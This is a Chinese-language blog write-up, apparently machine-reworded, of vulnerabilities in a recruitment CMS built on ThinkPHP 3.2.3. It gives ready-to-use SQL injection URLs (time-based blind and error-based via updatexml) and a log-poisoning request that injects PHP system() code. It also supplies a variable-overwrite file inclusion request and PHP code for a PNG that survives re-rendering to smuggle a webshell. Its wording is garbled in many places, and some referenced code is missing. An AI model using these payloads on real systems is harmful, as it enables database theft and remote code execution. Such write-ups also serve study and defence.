deviceid捏造php技巧_系统马脚挖掘展示SE版的前台sql注入马脚

在 /application/index/controller/jobfairol.php 中存在如下方法

把稳此处的 keyword。
存在两次 url 解码，可以绕过很多的 waf，或者预处理。

先join 里一个数据表，然后添加排序，并指定分页后，调用 column() 方法。

这个方法也便是获取 sql查询某个列的数组。

并在该断点处，实行sql语句。

查看一下我们实际实行的sql语句。

我利用 union select 来达到韶光盲注的效果。

payload：

http://localhost:1234/?s=index/jobfairol/resumelist&jobfair_id=1&keyword=123%252527))//union//select(sleep(5))%252523

如果开启了报错的情形可以报错注入。

http://localhost:1234/?s=index/jobfairol/resumelist&jobfair_id=1&keyword=123%252527))//union//select(updatexml(1,concat(0x7e,(select(user())),0x7e),1))%252523

在v1_0/controller/home/jobfairol.php 也存在相同的方法。

根本版是通过 TP3.2.3 开拓的，这个版本在运用初始化的时候，如果 APP_DEBUG 为false。

会将全体框架整合进 Application/Runtime/``common~runtime.php 文件中，后续的实行都在这个74kb，且只有一行代码的文件中。

强烈建议在个人调试的时候

将这里改成true。

在Application/Common/Controller/BaseController.class.php 中

有这样一个方法。

Common运用里的掌握器一样平常都是被当作基类存在的，无法直接通过 ?m=Common 直接去访问掌握器里的方法。

但是他作为其他掌握器的基类，而且又是 public 方法，我们依然可以调用它。

这几行不知道看官们熟不熟习。

实在这个漏洞，可以追溯到某实验室发的漏洞通报

https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ?st=529DABB1BC6F651382C9135EB552827AD43F0288831BAC943C5A6CE32F45F1B9F423FD767BD30EB98F9C2C6D962C1268BBC7A694FE6B1157BC89FD16D8EAEB81A3BD642BDC08DB57567E4C7B327B7134882308F36A811B338901B511ABC8BC487356659B2CD0C8417DBCFD448DE79A0E6611FC7DAA7F5F806AED95180ADE0D979653805D9BE2818C36432C242C346C258EB569D4B4EC38ACD08C5E03A09D4FAA34F60913522071EB3BEEED7BDB667730296BE92C3B10E13BA48209051A216A1E&vid=1688851206182100&cst=53928845F30E881CE4702F30E4E78E655B605169B1BF71E0E963E97B3C21D4A26131701E074B2422DE3B7150338D0234&deviceid=de960c8d-258f-4e7d-a333-c1e3dc351b70&version=3.1.8.3015&platform=win

这是他们给出的漏洞样例。

实在大同小异，只不过fetch 只是获取输出页面的内容，但并不会显示出来。
以是在这个cms中，如果可以rce，那也只是一个无回显的RCE。

大略概括他们的剖析，便是将payload写进日志里，然后利用变量覆盖，造成任意文件包含，包含日志文件。

GET /index.php?m=--><?=system('calc');?><-- HTTP/1.1Host: localhost:1234Connection: keep-alivePragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1

在 /data/Runtime/Logs/Common/ 中写入日志文件

然后布局payload去包含日志文件。

url:http://localhost:1234/index.php?m=home&c=AdvPersonal&a=assign_resume_tplpost:variable[_filename]=./data/Runtime/Logs/Common/21_09_22.log&tpl=adv_index

一开始并没有想到这个漏洞，我跟进了fetch 方法。

这里如果文件存在会直接返回，这显然是不合理的，在我们可以掌握文件名的情形下。

这里的 loadTemplate 方法实在便是将文件中的内容获取出来然后写入模板缓存文件中，并返回缓存文件名。

然后变量覆盖，文件包含。

在我没有想到变量覆盖 _filename 的时候 ，我的思路很纯挚，剖析到这里想必都明白了。
便是上传一个恶意文件，获取文件名赋给$tpl，末了tp解析模板后自动包含。

但后续也是碰着一些情形，比如前台的图片上传时会被二次渲染，恶意代码被和谐。
又或者图片文件中存在一些可以被解析的标签，末了更换为不规则的php语法。

不过后来我用 png图片的二次渲染绕过了这个问题。

<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>

当在修正简历处上传文件时，后面存在一个ajax要求，获取我们的图片，这样就暴露了图片的存储位置。

下面是缓存的图片文件。

这里的变量覆盖，可能由于先前某cms的前台rce的缘故原由，我还是想找模板文件中存在的问题，但在这里，显然是走远了。

tp3.2.x 的渲染模板处暴露出的两个显然存在的问题，一个变量覆盖造成的任意文件包含。
须要有

作为条件。

另一个 is_file 判断后直接返回文件名，不考虑是否是模板文件。
仅仅须要如下语句

合营文件上传就可以完成攻击。

关注私我，获取【网络安全学习攻略】